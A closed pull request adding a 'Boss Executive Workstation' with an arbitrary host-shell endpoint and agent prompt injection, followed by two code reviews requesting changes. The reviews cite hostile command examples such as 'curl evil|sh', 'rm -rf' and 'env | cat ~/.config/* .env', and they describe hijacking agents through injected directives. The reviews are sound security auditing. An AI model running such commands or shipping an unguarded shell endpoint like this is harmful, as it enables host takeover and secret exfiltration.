Skip to content

Boss Executive Workstation: host terminal with absolute permissions & agent comms - #293

Closed
Sairamnaidu456 wants to merge 2 commits into
AgentSystemLabs:mainfrom
Sairamnaidu456:feat/boss-executive-workstation
Closed

Sairamnaidu456 wants to merge 2 commits into
AgentSystemLabs:mainfrom
Sairamnaidu456:feat/boss-executive-workstation

Conversation

@Sairamnaidu456

Copy link
Copy Markdown

Summary

Upgrades the boss office computer on the loft desk from only running Minesweeper into an Executive Boss Workstation with full host command permissions and live inter-agent orchestration.

Features

  1. ⚡ Host Terminal with Absolute Permissions:
    • Executes shell commands directly on the host machine in the workspace directory with zero permission prompts.
    • Live stream returning stdout, stderr, exit code, and execution timing.
    • Quick action shortcuts: Budget Guard, Lead Status, Task Queue, Tests runner, Git Status, and Clear.
  2. 💬 Talk to Agents & Directives:
    • Deliver directives directly into agent PTYs/terminals from the boss desk.
    • Target individual workers (CEO, Lead, etc.) or broadcast across all desks.
    • Live directive and response log.
  3. 📋 Fleet Radar:
    • Live overview cards of all active desks, workers, status, and task assignments.
  4. 💣 Minesweeper:
    • The classic game remains playable on its own dedicated tab.
  5. Modal & Navigation:
    • Seamless top-right ✕ close button and Esc key support, restoring mouse-look with zero extra clicks.
  6. Backend APIs:
    • POST /api/boss/command: host command execution.
    • POST /api/boss/talk: worker directive injection.
    • GET /api/boss/state: real-time desk and worker telemetry.

Verification

  • npm run typecheck: Passed (0 errors)
  • npm test: Passed (611/611 tests passing)
  • npm run build: Passed (clean client and server bundles)
  • tests/size.test.ts: Passed (all files under 600 line limit)
  • Visual verification: Headless Chrome screenshots captured for all 4 workstation tabs.
  • Documentation: Updated README.md and docs/features.md.

Sai Ram Gudi  added 2 commits October 4, 2026 18:41
… agent comms

Transform the boss office computer on the loft desk from running only
Minesweeper into an Executive Boss Workstation with full host permissions
and direct agent orchestration:
- Host Terminal: Interactive shell runner with absolute host permissions
  and quick actions (Budget Guard, Lead Status, Task Queue, Tests, Git Status).
- Talk to Agents: Direct inter-agent executive messaging to broadcast or
  prompt individual agents/desks directly from the chair.
- Fleet Radar: Live status cards of all desks, active workers, and tasks.
- Minesweeper: Dedicated game tab preserving classic gameplay.
- Top-right ✕ close button and Esc support restoring mouse-look seamlessly.
- REST endpoints /api/boss/command, /api/boss/talk, and /api/boss/state.
- Size guard compliance (<600 lines) and unit test suite in tests/boss.test.ts.
- Updated README.md and docs/features.md.

@iptoux iptoux left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review of PR #293 — Boss Executive Workstation

Summary and verdict

The workstation itself (tabs, fleet radar, Minesweeper kept) is a reasonable feature, but this PR is not ready to merge — request changes. It ships an authenticated arbitrary-host-shell endpoint whose "admin" gate also admits shared-password guests, and the client reports failed/rejected directives as successfully delivered. The most serious items must be resolved first: remove or tightly scope the generic shell endpoint (allowlisted execFile, no shell, minimal env, rate limits, audit log) and require a named admin account; then fix the false-success reporting and the unvalidated ceo_pings.json handling. The remaining correctness, performance, and simplicity items are listed after, most serious first.

Findings

  • [Security] src/server/http/routes/boss.ts:33 — execAsync(command, { cwd: rootDir }) runs any client-supplied string via /bin/sh -c: arbitrary host RCE as the server user (rm -rf, curl evil|sh, secret theft), with shell metachars (; && || $()) chaining beyond any single command. Fix: remove the generic shell endpoint, or replace with allowlisted execFile commands (fixed argv, no shell) plus per-command approval and audit log; block this PR until then.
  • [Security] src/server/http/routes/boss.ts:10 + src/server/office/people.ts:14 (admin: !accountId) — shared-password sessions (no account) count as admin, so anyone with the shared office password passes isOfficeAdmin and gets RCE plus agent control. Fix: require a named role === 'admin' account for boss routes (session.account && meOf(...).admin), never shared-password guests.
  • [Security] src/server/http/routes/boss.ts:36 (env: { ...process.env }) — the child inherits server secrets (API keys, tokens) and stdout/stderr are echoed verbatim, so env | cat ~/.config/* .env exfiltrates them. Fix: strip env to a minimal safe set and redact secrets from output.
  • [Security] src/server/http/routes/boss.ts:35-36 (60s timeout, 10MB buffer, no rate/concurrency limit) — trivial DoS (yes, find /, fork bomb, parallel posts) stalls or exhausts the host. Fix: short timeout, small output cap, per-session rate limit with single-flight, and kill the process group on timeout.
  • [Security] src/server/http/routes/boss.ts:72-83 — talk injects arbitrary text into worker PTYs (floor.workers.prompt(...)), broadcast-to-all amplifies it, and tool-using agents can be hijacked into destructive or exfiltrating actions. Fix: scope/validate directives, mark them as an untrusted-source prefix agents must not obey blindly, require explicit confirmation for tool use, and log all prompts.
  • [Security] src/server/http/routes/boss.ts:20,48 — POST /api/boss/command and /api/boss/talk rely on the SameSite=Lax cookie alone with no CSRF/Origin check. Fix: add Origin/Referer check plus a CSRF token, and re-authentication for command execution.
  • [Security] src/server/http/routes/boss.ts:20-46 — destructive host commands run with no who/when/what trail. Fix: append-only audit log (account id, timestamp, command, exit code) outside the web root, and alert on denials.
  • [Correctness] src/client/features/arcade/boss-workstation.ts:270-304 — sendDirective() never checks res.ok/data.ok: on a 403/400 the body is {error}, so data.message || 'Delivered' renders ✓ Delivered, prepends a success entry, and clears the input even though nothing was delivered. Check HTTP status and data.ok before claiming success; only clear the input on success.
  • [Correctness] src/client/features/arcade/boss-workstation.ts:242-268 — same flaw in executeCommand(): an HTTP error body {error} (403/400/500) is rendered as command output (Command failed, [Exit Code undefined in undefinedms]), and the input is cleared before the request completes so a rejected command is lost. Check res.ok first and report {error} bodies as request failures, not command results.
  • [Correctness] src/server/http/routes/boss.ts:107 — talk ignores the return value of floor.workers.prompt(), which returns an error string ('No such worker', 'Worker is not running', 'Empty prompt') on failure. Failed prompts are still counted in prompted and reported as Directive delivered to: …. Check the return and report per-worker failures instead of counting them delivered.
  • [Correctness, Security] src/server/http/routes/boss.ts:89-113,192-205 — ceo_pings.json is read via bare JSON.parse with no shape guard, then unshift/slice is called on it: valid-but-wrong JSON ({}, "x") throws TypeError (in talk, after workers were already prompted → side effects plus a 500 to the client), and a corrupt or oversized file breaks the fleet view or fills disk (only sliced to 50/20 after parse). Fix: validate schema (Array.isArray plus size caps on title/content), catch-and-quarantine corrupt files, and cap stored prompt length.
  • [Correctness] src/server/http/routes/boss.ts:115-138 — concurrent talk requests race on ceo_pings.json (read-modify-write, no lock), so one directive can silently clobber another; id: directive-${Date.now()} also collides within the same millisecond. Serialize writes (or append) and use a unique id.
  • [Correctness] src/server/http/routes/boss.ts:94-103 — recipient matching calls recipient.toLowerCase() / w.name.toLowerCase() with no type guards. A non-string recipient (or a worker missing name) throws → 500. Validate typeof recipient === 'string' (and fall back safely) before matching.
  • [Correctness] src/client/features/arcade/boss-workstation.ts:242-268 — concurrent executeCommand() calls interleave: $ cmd lines append synchronously but results arrive async, so output from two commands mixes and misattributes. The ok:true path also drops stderr entirely. Serialize executions (or tag output per run) and show stderr on success too.
  • [Performance] src/server/http/routes/boss.ts:39 — execAsync buffers up to 10MB with a 60s timeout and returns it all in one JSON blob, no truncation or streaming. The npm test quick-action will routinely hold the request ~60s and ship megabytes. Truncate output (e.g. last 32KB + …truncated), lower the timeout, or stream.
  • [Performance] src/client/features/arcade/boss-workstation.ts:246,259,261,264 — the terminal log grows via textContent += with no cap: O(n²) re-serialization per chunk, and combined with the 10MB server buffer a big command freezes the renderer. Cap the log (e.g. last ~500 lines / 100KB) and append text nodes instead of re-setting.
  • [Performance] src/client/features/arcade/boss-workstation.ts:131,145,147 — switchTab() wipes contentContainer.innerHTML and rebuilds the whole terminal/comms/fleet DOM on every tab switch, duplicating ~60 lines of constructor code. Loses scroll position, drops focus, doubles maintenance. Build each view once and toggle display like gameContainer already does.
  • [Performance] src/client/features/arcade/boss-workstation.ts:76,94 — the constructor builds commsView and fleetView but never attaches them (only terminalView is appended); dead construction on every open while switchTab rebuilds them anyway. Delete or fold into lazy per-tab builders.
  • [Correctness, Performance] src/client/features/arcade/boss-workstation.ts:306-363 — refreshState() full-wipes recipientSelect, fleetContainer, and commsHistoryEl via innerHTML='', racing the prepend in sendDirective (just-sent directives vanish/flicker) and resetting the recipient selection; it also silently ignores non-OK responses (stale Loading… forever), never clears the history placeholder when pings are empty, and renders Invalid Date for bad createdAt values. Do targeted updates, preserve selection, and handle the empty/error cases explicitly.
  • [Performance] src/client/features/arcade/boss-workstation.ts:124,208 — the constructor fires refreshState() on every workstation open, even for Minesweeper-only visits, plus again on each fleet-tab visit. Lazy-load state on first fleet/comms visit instead.
  • [Performance] src/server/http/routes/boss.ts:164,187,196 — GET /api/boss/state does sync existsSync + readFileSync ×2 plus a full worker scan on every request, blocking the event loop per fleet refresh. Use async reads (or cache with mtime) and return only needed fields.
  • [Performance] src/server/http/routes/boss.ts:119 — talk does a sync read-modify-write of ceo_pings.json (pretty-printed full rewrite) inside the request path. Move file I/O off the hot path (async, debounced/atomic write).
  • [Performance] src/client/features/arcade/ui.ts:259 — drawIdleMonitor() is ~60 lines of hand-rolled canvas dashboard duplicating what the DOM workstation already shows. Replace with a slim static placeholder or pre-rendered texture.
  • [Performance] src/client/features/arcade/boss-workstation.ts:158,170,203 vs :346,377,531 — tab-switch rebuilds wire buttons via onclick attrs while the constructor uses addEventListener for the same buttons. One pattern everywhere (prefer addEventListener); also drop the magic setTimeout(..., 50) focus delay and focus synchronously after append.
  • [Performance] src/client/features/arcade/boss-workstation.css — 232-line bespoke theme (.boss-btn vs existing .btn, .boss-quick-btn, pills, cards) instead of reusing arcade/modal styles. Reuse the shared classes and keep only the dark-terminal overrides.
  • [Security] src/client/features/arcade/index.ts:11 ((window as any).arcade = arcade) — exposes workstation internals globally, widening any XSS into workstation control. Fix: remove the debug global.
  • [Correctness] tests/boss.test.ts:12,135 — talk tests run against the real checkout (cfg.dir = process.cwd()), so they mkdir/writeFileSync the real .agent-office/ceo_pings.json with no cleanup and can clobber real data; isolate to a tmpdir. The last test also permanently mutates the shared mockCtx.meOf to non-admin, making the suite order-dependent; restore it after.
  • [Correctness] src/server/http/routes/boss.ts:28,80 — malformed/non-JSON bodies throw in JSON.parse and fall into the outer catch → 500 with the raw err.message. Return 400 for bad input instead.

@iptoux iptoux left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review of PR #293 — Boss Executive Workstation

Summary and verdict

The workstation shell (tabs, fleet radar, Minesweeper kept) is reasonable, but this PR is not ready to merge — request changes. It does not deliver the requested Aufschalten (see/control the other agents' PCs/terminals): talk is fire-and-forget text injection with no live PTY view and no replies, and the host terminal runs on the server host, not a worker PC. On top of that the client reports failed/rejected directives as successfully delivered, prompt() failures are counted as delivered, and the tests write into the real checkout. Fix the scope/claim first (declare Phase 1 directives or reuse the existing shared-terminal PTY attach), then the false-success reporting, prompt-return handling, and ceo_pings.json validation/race. Remaining correctness, performance/simplicity, and plan items follow, most serious first.

Findings

  • [Plan, Implementation] src/server/http/routes/boss.ts:68-113 + src/client/features/arcade/boss-workstation.ts:270-304 — Kernanforderung ("auf die PC der anderen Agents aufschalten, deren Terminal direkt sehen und steuern") nicht erfüllt: talk injiziert nur Einweg-Text via floor.workers.prompt(), kein Live-Blick auf PTY-Output/Scrollback, keine interaktive Session; das "Directives & Responses Log" zeigt nur lokal gesendeten Text plus ceo_pings.json-Historie, Agent-Replies erscheinen nie. Fix: entweder an der echten PTY-/Terminal-View andocken (vgl. ui/terminal.ts, workers-panel "Open terminal"), oder als Phase 1 "Direktive senden" deklarieren, Live-Reply-Claim streichen und Folgephase für Live-PTY-Attach einplanen.
  • [Plan] docs/features.md:31 vs src/server/http/routes/boss.ts:68-113 — Aufschalten/Sehen/Steuern existiert bereits als Shared Terminals (E am besetzten Desk öffnet echte PTY über WebSockets, Multi-Typing + Scrollback); der PR baut einen parallelen Einweg-Pfad statt Wiederverwendung. Fix: Plan auf Reuse festlegen — Boss-Workstation soll bestehenden PTY-Attach öffnen/einbetten statt neuer prompt()-API, oder begründen warum beide Pfade nötig sind.
  • [Plan] src/server/http/routes/boss.ts:20-46 — Host-Terminal läuft auf Server-Host im Workspace (ctx.cfg.dir), nicht auf dem Worker-PC/Worktree; Anforderung zielt auf Fremd-PCs. Fix: Scope klären/umbenennen (Host-Ops vs. Worker-PC-Takeover splitten) und Worker-gezielte Shell (Worktree/Desk-Kontext) als eigene Phase mit Akzeptanzkriterien einplanen.
  • [Plan] src/client/features/arcade/boss-workstation.ts:306-363 + src/server/http/routes/boss.ts:143-208 — "Sehen" liefert nur Status-Strings (status/activity/task), keine Terminal-Spiegelung, kein Screen-Share. Fix: Fleet-Radar als Übersicht akzeptieren, aber "Terminal direkt sehen" als offenes Akzeptanzkriterium mit E2E (Desk-Terminal öffnen → Boss-Desk zeigt gleichen Scrollback) nachreichen.
  • [Correctness, Implementation] src/client/features/arcade/boss-workstation.ts:270-304 — sendDirective() prüft nie res.ok/data.ok: bei 403/400 ist der Body {error}, also rendert data.message || 'Delivered' ein ✓ Delivered, hängt einen Erfolgs-Eintrag an und löscht das Input obwohl nichts ankam; dazu blockierendes alert() im Fehlerpfad, ein im Client sonst ungenutztes Muster. Fix: Status und data.ok prüfen, nur bei Erfolg Input löschen/anhängen, sonst data.error inline rendern (Toast statt alert).
  • [Correctness, Implementation] src/client/features/arcade/boss-workstation.ts:242-268 — gleicher Fehler in executeCommand(): HTTP-Fehler {error} wird als Command-Result gerendert ([Exit Code undefined in undefinedms]), Input wird vor Request-Ende gelöscht. Fix: res.ok zuerst prüfen, {error} als Request-Fehler zeigen, Input erst nach Ergebnis löschen.
  • [Correctness, Implementation] src/server/http/routes/boss.ts:107 — talk ignoriert den Return von floor.workers.prompt() (string | undefined, vgl. workers/manager.ts:500, ws/handlers/workers.ts:119): No such worker / Worker is not running / Empty prompt werden trotzdem als delivered in prompted gezählt. Fix: Fehler pro Worker sammeln, prompted vs failed zurückgeben und im Response ausweisen.
  • [Correctness, Implementation] tests/boss.test.ts:12,135 — mockCtx.cfg.dir ist process.cwd(), also schreiben die talk-Tests .agent-office/ceo_pings.json in den echten Checkout ohne Cleanup (der state-Test liest dann die verschmutzte Datei → reihenfolgeabhängig); der letzte Test mutiert mockCtx.meOf permanent zu non-admin. Fix: Mock-Ctx auf ein fs.mkdtemp-Dir zeigen, Dateieffekte dort asserten, Mock danach restaurieren.
  • [Correctness] src/server/http/routes/boss.ts:89-138,192-205 — ceo_pings.json wird per bloßem JSON.parse ohne Shape-Guard gelesen, dann unshift/slice: valides-aber-falsches JSON ({}, "x") wirft TypeError (in talk erst nach bereits erfolgtem Prompt → Seiteneffekt plus 500), korrupte/riesige Dateien brechen die Fleet-View oder füllen die Platte. Fix: Array.isArray plus Größen-Caps für Titel/Content validieren, korrupte Dateien quarantänisieren, gespeicherte Prompt-Länge cappen.
  • [Correctness, Performance & simplicity] src/server/http/routes/boss.ts:115-138 — konkurrierende talk-Requests racen auf ceo_pings.json (sync read-modify-write ohne Lock, ganzer Rewrite pro Direktive), eine Direktive überschreibt die andere still; id: directive-${Date.now()} kollidiert in derselben Millisekunde und blockiert den Loop. Fix: Writes serialisieren (append/queue oder async read-modify-write mit Mutex) und eindeutige IDs.
  • [Correctness] src/server/http/routes/boss.ts:192-205 — state ruft pings.slice(0, 20) außerhalb des try auf: parst die Datei zu Non-Array, wirft das einen unbehandelten TypeError statt 200/500. Fix: mit Array.isArray guarden, ebenso budget-Shape vor Rückgabe prüfen.
  • [Correctness] src/server/http/routes/boss.ts:94-103 — Empfänger-Matching ruft recipient.toLowerCase() / w.name.toLowerCase() ohne Type-Guards: Non-String-recipient (oder Worker ohne name) wirft → 500. Fix: typeof recipient === 'string' validieren, sicher fallbacken.
  • [Correctness] src/server/http/routes/boss.ts:28,80 — kaputte/Non-JSON-Bodies und Non-String-command ((data.command || '').trim() auf Zahl/Objekt wirft) fallen in den äußeren catch → 500 mit roher err.message. Fix: Typen validieren, 400 für Bad Input.
  • [Correctness] src/server/http/routes/boss.ts:115-138 — talk persistiert einen Ping und gibt ok:true zurück selbst bei prompted.length === 0 (kein passender Worker), was der Client als delivered rendert. Fix: Zero-Match-Fall als ok:false/eigene Message ausweisen, damit der Client keine Zustellung behauptet.
  • [Correctness] src/client/features/arcade/boss-workstation.ts:242-268 — konkurrierende executeCommand()-Calls interleaven ($ cmd synchron angehängt, Ergebnisse async → Output mischt sich) und der ok:true-Pfad droppt stderr komplett. Fix: Ausführungen serialisieren (oder Output pro Run taggen) und stderr auch bei Erfolg zeigen.
  • [Correctness, Performance & simplicity] src/client/features/arcade/boss-workstation.ts:306-363 — refreshState() wischt recipientSelect/fleetContainer/commsHistoryEl per innerHTML='', racet mit dem prepend aus sendDirective (frisch gesendete Rows verschwinden/flackern) und resettet die Empfänger-Auswahl; Non-OK-Responses werden still ignoriert (ewiges Loading…), bei leeren Pings bleibt der Placeholder stehen, schlechte createdAt rendern Invalid Date. Fix: gezielte Updates, Selection erhalten, Empty-/Error-Fälle explizit behandeln; Fleet-Einträge diffen statt Full-Rebuild, Scroll erhalten, nicht bei jedem Tab-Wechsel refetchen.
  • [Performance & simplicity] src/server/http/routes/boss.ts:35-39 + src/client/features/arcade/boss-workstation.ts:259,261 — 10 MB maxBuffer-Exec-Output wird per wiederholtem textContent += (Full-String-Copy, O(n²)) mit pre-wrap + break-all ins Log gekippt: ein lautes Kommando friert den Tab ein. Fix: Server-Output cappen (z. B. 256–512 KB + …truncated-Marker), Client-Log cappen (letzte ~200 Zeilen / 100 KB, Text-Nodes appenden statt +=).
  • [Performance & simplicity] src/server/http/routes/boss.ts:186-196 — GET /api/boss/state macht pro Call 2× existsSync + readFileSync, blockiert den Event-Loop auf dem Fleet-Poll-Hot-Path. Fix: fs/promises plus Cache mit mtime/TTL (bei Write invalidieren).
  • [Implementation, Performance & simplicity] src/client/features/arcade/boss-workstation.ts:40-122,131-208 — Konstruktor baut terminalView/commsView/fleetView, aber nur terminalView wird je attached (commsView/fleetView toter Code), und switchTab() dupliziert denselben View-Bau ein zweites Mal bei gleichzeitigem Reparenting lebender Nodes nach innerHTML = ''. Fix: jede View einmal bauen, Referenzen halten, per display toggeln wie schon für gameContainer (oder buildTerminalView()/buildCommsView()/buildFleetView()-Helper).
  • [Performance & simplicity] src/client/features/arcade/boss-workstation.ts:168,208 — setTimeout(() => focus(), 50) feuert bei jedem Terminal-Wechsel und stapelt sich bei schnellem Umschalten; Fleet-Tab refetcht bei jedem Besuch. Fix: entfällt bei einmal gebauter View (sonst Timer tracken/clearen); Refresh nur auf Intervall/manuell, debounced.
  • [Plan] tests/boss.test.ts:1-168 + PR-Beschreibung "Verification" — kein Test/E2E für die deutsche Anforderung (sehen+steuern), nur Prompt-Zählung (promptedCount) und Host-echo. Fix: Akzeptanztests definieren (View-Gleichheit, interaktive Steuerung, Broadcast vs. Einzeltarget) und Screenshots/E2E für Worker-Terminal-Spiegel einplanen statt nur Workstation-Tabs.
  • [Plan] Scope/Bundling: ein PR liefert Host-Shell + Agent-Comms + Fleet-Radar + Idle-Monitor (src/client/features/arcade/ui.ts:187-259) + Minesweeper-Umbau + Doku. Fix: in Phasen splitten (1. Fleet read-only, 2. Talk, 3. Host-Shell mit Freigabe/Audit zuletzt) oder Phasen-/Rolloutplan mit Akzeptanzkriterien je Slice nachliefern.
  • [Plan] docs/code-layout.md:71-82 — Routen/Module korrekt als eigene Dateien (boss.ts, boss-workstation.ts), aber kein Help-Row-Eintrag (HELP_ROWS in src/client/ui/help.ts), kein Store-Slice/Topic-Entscheid (ad-hoc fetch statt WS/Store). Fix: im Plan festlegen ob Boss-State via Store/WS oder Polling lebt, Help-Row + Doku-Nachtrag einplanen.
  • [Implementation] src/client/features/arcade/ui.ts:drawIdleMonitor — der void document.fonts.ready.then(() => this.draw())-Repaint wurde gelöscht, der neue Idle-Monitor malt einmal mit Fallback-Font und nie neu. Fix: Font-Ready-Redraw für drawIdleMonitor() wieder einführen.
  • [Performance & simplicity] src/client/features/arcade/index.ts:11 — (window as any).arcade = arcade leakt ein Debug-Global und weitet jedes XSS auf Workstation-Kontrolle aus. Fix: entfernen oder hinter Dev-Flag gaten.
  • [Performance & simplicity] src/client/features/arcade/boss-workstation.css:32,81 — transition: all 0.15s ease erzwingt Style-Recalc bei jeder Property-Änderung. Fix: nur background-color, color, border-color transitionieren.
  • [Implementation] Nit src/server/http/routes/index.ts:21-24 — session-authe Boss-Routen stehen im "Anyone"-Public-Block entgegen dem Ordnungs-Kommentar (harmlos — router.ts enforced auth per Flag). Fix: unter die Signed-in-Markierung verschieben.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants